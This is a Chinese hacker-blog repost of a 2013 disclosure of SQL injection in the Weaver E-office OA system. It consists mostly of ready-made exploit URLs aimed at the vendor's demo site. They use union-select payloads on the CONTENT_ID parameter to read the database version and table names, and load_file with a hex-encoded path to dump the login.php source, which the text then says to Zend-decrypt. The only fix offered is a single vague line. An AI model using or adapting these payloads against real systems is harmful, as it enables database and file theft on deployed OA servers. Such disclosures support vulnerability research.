记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

泛微E-office OA管理系统存在SQL注射及修复

2013-10-03 02:25
测试官方站点,首先用使用测试账户xj登录,然后访问下面的地址。
 
http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=123&SORT_ID=166&func_id=&operationType=editFromRead&docStr=
 
 
其中的CONTENT_ID参数能够注射SQL语句。
 
http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-4%20union%20select%201,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=
 
查询表名,这里的CONTENT_ID在每次查询时要变换值,不然程序提示信息被锁定:
 
http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-5%20union%20select%201,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20table_schema=database()%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=
当然也可以load_file文件源码
 
http://eoffice8.weaver.cn:8028/general/file_folder/file_new/neworedit/index.php?FILE_SORT=&CONTENT_ID=-14%20union%20select%201,2,3,4,5,hex(load_file(0x443A5C656F6666696365382E336164765C776562726F6F745C6C6F67696E2E706870)),7,8,9,10,11,12,13,14,15,16,17,18,19%23&SORT_ID=166&func_id=&operationType=editFromRead&docStr=
用16进制编辑器将上面load_file出来的内容保存,然后再zend解密,得到login.php源码
 
 
 
修复方案:
建议在include的公共文件里面添加IDS

知识来源: www.2cto.com/Article/201310/247722.html

阅读:86823 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“泛微E-office OA管理系统存在SQL注射及修复”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词